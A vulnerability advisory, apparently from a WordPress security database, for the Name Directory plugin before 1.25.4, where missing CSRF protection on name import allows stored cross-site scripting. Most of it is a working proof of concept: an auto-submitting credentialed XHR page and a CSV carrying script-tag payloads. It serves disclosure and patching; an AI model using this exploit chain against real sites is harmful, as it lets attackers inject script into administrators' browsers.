Name Directory < 1.25.4 - Stored Cross-Site Scripting via CSRF

2022-07-0400:00:00

Donato Di Pasquale

115

cross-site scripting

csrf

name directory

EPSS

0.001

Percentile

26.3%

JSON

The plugin does not have CSRF check when importing names, and is also lacking sanitisation as well as escaping in some of the imported data, which could allow attackers to make a logged in admin import arbitrary names with XSS payloads in them.

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/example.com\/wp-admin\/admin.php?page=name-directory&sub=import&dir=11", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------10045333971882101442027278436");
        xhr.withCredentials = true;
        var body = "-----------------------------10045333971882101442027278436\r\n" + 
          "Content-Disposition: form-data; name=\"import\"; filename=\"name-directory-import-example.csv\"\r\n" + 
          "Content-Type: text/csv\r\n" + 
          "\r\n" + 
          "\"name\",\"description\",\"submitter\"\n" + 
          "\'\"\x3e\x3cscript\x3ealert(/XSS-name/)\x3c/script\x3e\',\'\"\x3e\x3cscript\x3ealert(/XSS-desc/)\x3c/script\x3e\',\'\"\x3e\x3cscript\x3ealert(/XSS-sub/)\x3c/script\x3e\'\n" + 
          "\r\n" + 
          "-----------------------------10045333971882101442027278436\r\n" + 
          "Content-Disposition: form-data; name=\"action\"\r\n" + 
          "\r\n" + 
          "save\r\n" + 
          "-----------------------------10045333971882101442027278436\r\n" + 
          "Content-Disposition: form-data; name=\"max_file_size\"\r\n" + 
          "\r\n" + 
          "16777216\r\n" + 
          "-----------------------------10045333971882101442027278436\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "Upload file and import\r\n" + 
          "-----------------------------10045333971882101442027278436--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>


As admin, Import the following CSV

"name","description","submitter"
'"><script>alert(/XSS-name/)</script>','"><script>alert(/XSS-desc/)</script>','"><script>alert(/XSS-sub/)</script>'

EPSS

0.001

Percentile

26.3%

JSON

Related for WPEX-ID:D3653976-9E0A-4F2B-87F7-26B5E7A74B9D